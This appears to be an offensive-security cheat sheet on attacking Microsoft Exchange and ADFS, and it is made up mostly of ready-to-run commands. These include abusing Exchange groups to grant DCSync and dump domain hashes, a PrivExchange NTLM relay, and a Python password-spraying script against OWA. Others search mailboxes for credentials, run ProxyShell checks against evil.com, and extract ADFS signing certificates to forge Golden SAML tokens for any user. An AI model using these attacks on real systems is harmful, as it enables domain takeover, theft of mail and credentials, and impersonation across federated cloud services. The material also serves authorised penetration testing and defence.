Exchange and ADFS Attacks
Exchange enumeration, PrivExchange, mailbox access, Exchange group abuse, ProxyLogon/ProxyShell references, and ADFS token signing certificate extraction.
Sections Exchange and ADFS Attacks
You have domain credentials and want to leverage Exchange and ADFS for escalation or data access. Exchange servers hold sensitive email data and often have overprivileged AD permissions. ADFS servers hold token signing certificates that allow forging authentication tokens for any federated service.
Exchange Discovery
Finding Exchange Servers
# DNS SRV records
root@localhost:~# dig SRV _autodiscover._tcp.corp.local @10.10.11.35
# LDAP - find Exchange servers
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
-b "CN=Configuration,DC=corp,DC=local" "(&(objectClass=msExchExchangeServer))" cn msExchCurrentServerRoles networkAddress
# Nmap
root@localhost:~# nmap -p 80,443,25,587,993,995 -sV 10.10.11.0/24
# PowerShell
PS C:\> Get-ADComputer -Filter {ServicePrincipalName -like "*exchange*"} -Properties ServicePrincipalName, DNSHostName | Select-Object Name, DNSHostName
# Check common Exchange URLs
PS C:\> Invoke-WebRequest -Uri "https://mail.corp.local/owa/" -UseBasicParsing | Select-Object StatusCode
Identify Exchange Version
# OWA login page often reveals the version in headers or HTML
root@localhost:~# curl -sk https://mail.corp.local/owa/ | grep -i "version\|build"
# Check the X-OWA-Version header
root@localhost:~# curl -sk -I https://mail.corp.local/owa/auth/logon.aspx | grep -i "X-OWA-Version"
# /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application
# reveals the Exchange build number in some versions
Exchange Group Abuse
Exchange creates several highly privileged groups in AD during installation. The most dangerous is “Exchange Windows Permissions” which has WriteDACL on the domain object.
Dangerous Exchange Groups
| Group | Privilege | Abuse Path |
|---|---|---|
| Exchange Windows Permissions | WriteDACL on domain root | Grant any user DCSync rights |
| Exchange Trusted Subsystem | Member of Exchange Windows Permissions | Same as above |
| Organization Management | Full control over Exchange | Manage mailboxes, modify Exchange config |
| Exchange Servers | Read/write many AD attributes | Access to sensitive attributes |
Escalation via Exchange Windows Permissions
If you compromise any member of “Exchange Windows Permissions,” you can grant DCSync rights to any account.
# Check membership
ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
-b "DC=corp,DC=local" "(&(objectClass=group)(cn=Exchange Windows Permissions))" member
# If you are a member, grant DCSync
impacket-dacledit corp.local/exchange_user:'ExchP@ss123'@10.10.11.35 -target-dn "DC=corp,DC=local" -principal svc_backup -rights DCSync -action write
# DCSync
impacket-secretsdump corp.local/svc_backup:'P@ssw0rd123'@10.10.11.35 -just-dc
# PowerView
PS C:\> Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity svc_backup -Rights DCSync
PS C:\> .\mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" "exit"
PrivExchange
PrivExchange abuses the Exchange Web Services (EWS) push subscription feature. When Exchange subscribes to push notifications, it authenticates to the attacker’s listener with the Exchange server’s machine account (which is a member of Exchange Windows Permissions). Relay this to LDAP and grant DCSync.
# Terminal 1: Start ntlmrelayx targeting LDAP
root@localhost:~# impacket-ntlmrelayx -t ldap://10.10.11.35 --escalate-user svc_backup
# Terminal 2: Trigger PrivExchange
root@localhost:~# python3 privexchange.py -ah 10.10.14.5 -u svc_backup -p 'P@ssw0rd123' -d corp.local mail.corp.local
# After relay succeeds, DCSync
root@localhost:~# impacket-secretsdump corp.local/svc_backup:'P@ssw0rd123'@10.10.11.35 -just-dc
Mailbox Access
OWA Password Spraying
# Spray against OWA
# MailSniper (PowerShell) or custom script
root@localhost:~# python3 << 'EOF'
import requests
import urllib3
urllib3.disable_warnings()
users = open('users.txt').read().splitlines()
password = 'Winter2026!'
for user in users:
r = requests.post(
'https://mail.corp.local/owa/auth.owa',
data={'destination': 'https://mail.corp.local/owa/', 'username': f'corp\\{user}', 'password': password},
verify=False, allow_redirects=False
)
if r.status_code == 302 and 'owa' in r.headers.get('Location', '').lower():
print(f'[+] VALID: {user}:{password}')
EOF
Reading Mailboxes via EWS
# pth-toolkit / ews-crack for mailbox access
# Or use ruler for Outlook rule-based attacks
root@localhost:~# ruler -k --url https://mail.corp.local/autodiscover/autodiscover.xml -u svc_backup -p 'P@ssw0rd123' -d corp.local --verbose display
# MailSniper - search mailboxes for sensitive data
PS C:\> Import-Module .\MailSniper.ps1
PS C:\> Invoke-SelfSearch -Mailbox svc_backup@corp.local -ExchHostname mail.corp.local -Terms "password","credential","secret","vpn"
# Search the Global Address List
PS C:\> Get-GlobalAddressList -ExchHostname mail.corp.local -UserName corp\svc_backup -Password 'P@ssw0rd123'
ProxyLogon / ProxyShell / ProxyNotShell
These are critical Exchange Server vulnerabilities that provide remote code execution without authentication (ProxyLogon, ProxyShell) or with authentication (ProxyNotShell).
| CVE | Name | Auth Required | Impact | Patched |
|---|---|---|---|---|
| CVE-2021-26855 + CVE-2021-27065 | ProxyLogon | No | RCE as SYSTEM | March 2021 |
| CVE-2021-34473 + CVE-2021-34523 + CVE-2021-31207 | ProxyShell | No | RCE as SYSTEM | April/May 2021 |
| CVE-2022-41040 + CVE-2022-41082 | ProxyNotShell | Yes | RCE as SYSTEM | November 2022 |
# ProxyShell check (unauthenticated)
root@localhost:~# curl -sk "https://mail.corp.local/autodiscover/autodiscover.json?@evil.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@evil.com" | head
# ProxyLogon check
root@localhost:~# curl -sk "https://mail.corp.local/owa/auth/x.js" -I | grep "X-FEServer"
# If vulnerable, use proxylogon.py or proxyshell exploits from public repos
# These give SYSTEM shell on the Exchange server
ADFS Token Signing Certificate
ADFS (Active Directory Federation Services) issues SAML tokens for federated authentication. The ADFS server holds a token signing certificate. If you extract this certificate, you can forge SAML tokens for any federated user, which is sometimes called a “Golden SAML” attack.
Finding ADFS Servers
# DNS lookup
root@localhost:~# dig SRV _http._tcp.adfs.corp.local @10.10.11.35
root@localhost:~# nslookup sts.corp.local 10.10.11.35
# LDAP
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
-b "CN=Configuration,DC=corp,DC=local" "(objectClass=msDS-ADFSServiceTrustPoint)" cn
# Check ADFS metadata endpoint
root@localhost:~# curl -sk "https://sts.corp.local/adfs/ls/IdpInitiatedSignon.aspx"
root@localhost:~# curl -sk "https://sts.corp.local/FederationMetadata/2007-06/FederationMetadata.xml"
Extract the Token Signing Certificate
The ADFS token signing certificate is stored encrypted in the ADFS configuration database (WID or SQL Server). It is protected with DKM (Distributed Key Management) keys stored in AD.
# AADInternals (from the ADFS server, requires local admin)
PS C:\> Install-Module AADInternals
PS C:\> Import-Module AADInternals
PS C:\> Export-AADIntADFSSigningCertificate
# ADFSDump (extracts DKM key from AD, then decrypts the cert from ADFS config)
PS C:\> .\ADFSDump.exe /domain:corp.local /server:adfs01.corp.local
# ADFSpoof - extract and use ADFS signing cert from Linux
# Requires the DKM key (from AD) and the encrypted PFX (from ADFS config database)
root@localhost:~# python3 ADFSpoof.py -b /path/to/encrypted_pfx.bin /path/to/dkm_key.bin dump
Golden SAML Attack
With the token signing certificate, forge SAML tokens for any user to access federated services (Microsoft 365, Azure AD, AWS, etc.).
# ADFSpoof - forge a SAML token
root@localhost:~# python3 ADFSpoof.py -b /path/to/encrypted_pfx.bin /path/to/dkm_key.bin \
-s sts.corp.local saml2 \
--endpoint https://login.microsoftonline.com/login.srf \
--nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:persistent \
--nameid "Administrator@corp.local" \
--rpidentifier "urn:federation:MicrosoftOnline" \
--assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>corp\Administrator</AttributeValue></Attribute>'
# AADInternals - forge a SAML token
PS C:\> $cert = Export-AADIntADFSSigningCertificate
PS C:\> $token = New-AADIntSAMLToken -ImmutableID "<base64_immutableid>" -Issuer "http://sts.corp.local/adfs/services/trust" -Certificate $cert -PfxFileName "adfs_signing.pfx"